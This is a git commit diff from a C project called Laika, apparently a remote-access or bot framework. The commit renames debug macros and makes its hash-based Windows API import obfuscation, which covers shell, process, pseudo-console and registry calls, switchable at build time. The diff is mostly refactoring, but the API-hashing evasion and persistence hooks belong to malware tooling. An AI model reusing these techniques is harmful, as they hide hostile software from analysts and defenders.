minor 'DEBUG' refactoring

- for debug builds, the LAIKA_DEBUG_BUILD macro will be defined in lconfig.h
- LAIKA_OBFUSCATE now controls the winobf IAT obfuscation as well

lib/CMakeLists.txt

@@ -24,8 +24,8 @@ target_link_libraries(LaikaLib PUBLIC sodium)
 # make sure we're compiled *AFTER* lboxconfig.h has been generated
 add_dependencies(LaikaLib VMBoxGen)
 
-# add the version definitions and the 'DEBUG' preprocessor definition if we're compiling as Debug
-target_compile_definitions(LaikaLib PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
+# add the version definitions
+target_compile_definitions(LaikaLib PUBLIC)
 
 # add include directory
 target_include_directories(LaikaLib PUBLIC ${LIB_INCLUDEDIR} ${CMAKE_CURRENT_SOURCE_DIR}/libsodium/libsodium/src/libsodium/include)

lib/include/core/lerror.h

@@ -24,10 +24,10 @@
 
 /* LAIKA_ERROR(printf args):
         if called after a LAIKA_TRY block will jump to the previous LAIKA_CATCH/LAIKA_TRYEND block,
-    otherwise program is exit()'d. if DEBUG is defined printf is called with passed args, else
+    otherwise program is exit()'d. if LAIKA_DEBUG_BUILD is defined printf is called with passed args, else
     arguments are ignored.
 */
-#ifndef DEBUG
+#ifndef LAIKA_DEBUG_BUILD
 #    define LAIKA_ERROR(...)                                                                       \
         do {                                                                                       \
             if (LAIKA_ISPROTECTED)                                                                 \

lib/include/core/lsodium.h

@@ -1,6 +1,7 @@
 #ifndef LAIKA_RSA_H
 #define LAIKA_RSA_H
 
+#include "lconfig.h"
 #include "sodium.h"
 
 #include <stdbool.h>

lib/include/core/lvm.h

@@ -76,7 +76,7 @@ enum
     OP_TESTJMP, /* if stk_indx[uint8_t] != 0, pc += [int8_t] */
 
     /* misc. */
-#ifdef DEBUG
+#ifdef LAIKA_DEBUG_BUILD
     OP_DEBUG
 #endif
 };
@@ -154,7 +154,7 @@ LAIKA_FORCEINLINE void laikaV_execute(struct sLaikaV_vm *vm)
 
             break;
         }
-#ifdef DEBUG
+#ifdef LAIKA_DEBUG_BUILD
         case OP_DEBUG: {
             int i;
 

lib/include/laika.h

@@ -11,7 +11,7 @@
 #include <string.h>
 #include <inttypes.h>
 
-#ifdef DEBUG
+#ifdef LAIKA_DEBUG_BUILD
 #    define LAIKA_DEBUG(...)                                                                       \
         printf("[~] " __VA_ARGS__);                                                                \
         fflush(stdout);

lib/include/lconfig.h.in

@@ -15,6 +15,7 @@
 /* settings */
 #cmakedefine LAIKA_PERSISTENCE
 #cmakedefine LAIKA_OBFUSCATE
+#cmakedefine LAIKA_DEBUG_BUILD
 
 /* raw obfuscated strings */
 

lib/include/lobf.h

@@ -7,6 +7,7 @@
 #    include <process.h>
 #    include <windows.h>
 
+#ifdef LAIKA_OBFUSCATE
 /* WINAPI types */
 typedef HINSTANCE(WINAPI *_ShellExecuteA)(HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, INT);
 typedef HRESULT(WINAPI *_CreatePseudoConsole)(COORD, HANDLE, HANDLE, DWORD, HPCON *);
@@ -25,6 +26,19 @@ extern _RegOpenKeyExA oRegOpenKeyExA;
 extern _RegCloseKey oRegCloseKey;
 extern _RegSetValueExA oRegSetValueExA;
 extern _RegQueryValueExA oRegQueryValueExA;
+#else
+
+/* disabling obfuscation by macro magic :O */
+#define oShellExecuteA ShellExecuteA
+#define oCreatePseudoConsole CreatePseudoConsole
+#define oClosePseudoConsole ClosePseudoConsole
+#define oCreateProcessA CreateProcessA
+#define oRegOpenKeyExA RegOpenKeyExA
+#define oRegCloseKey RegCloseKey
+#define oRegSetValueExA RegSetValueExA
+#define oRegQueryValueExA RegQueryValueExA
+
+#endif
 #endif
 
 void laikaO_init();

lib/include/net/lpacket.h

@@ -1,6 +1,7 @@
 #ifndef LAIKA_PACKET_H
 #define LAIKA_PACKET_H
 
+#include "lconfig.h"
 #include <inttypes.h>
 
 #define LAIKA_MAGIC                 "LAI\x12"
@@ -121,7 +122,7 @@ enum
 typedef uint8_t LAIKAPKT_ID;
 typedef uint16_t LAIKAPKT_SIZE;
 
-#ifdef DEBUG
+#ifdef LAIKA_DEBUG_BUILD
 const char *laikaD_getPacketName(LAIKAPKT_ID);
 #endif
 

lib/src/net/lpacket.c

@@ -1,6 +1,6 @@
 #include "net/lpacket.h"
 
-#ifdef DEBUG
+#ifdef LAIKA_DEBUG_BUILD
 const char *laikaD_getPacketName(LAIKAPKT_ID id)
 {
     const char *PKTNAMES[] = {"LAIKAPKT_VARPKT",

lib/win/winobf.c

@@ -137,6 +137,7 @@ _findByHashFail:
 
 /* ======================================[[ Exposed API ]]====================================== */
 
+#ifdef LAIKA_OBFUSCATE
 _ShellExecuteA oShellExecuteA;
 _CreatePseudoConsole oCreatePseudoConsole;
 _ClosePseudoConsole oClosePseudoConsole;
@@ -163,4 +164,10 @@ void laikaO_init()
     oRegCloseKey = (_RegCloseKey)(findByHash("advapi32.dll", 0xae0cf309));
     oRegSetValueExA = (_RegSetValueExA)(findByHash("advapi32.dll", 0xcb91dcf7));
     oRegQueryValueExA = (_RegQueryValueExA)(findByHash("advapi32.dll", 0x4298d735));
-}
+}
+#else
+void laikaO_init()
+{
+    /* stubbed!! */
+}
+#endif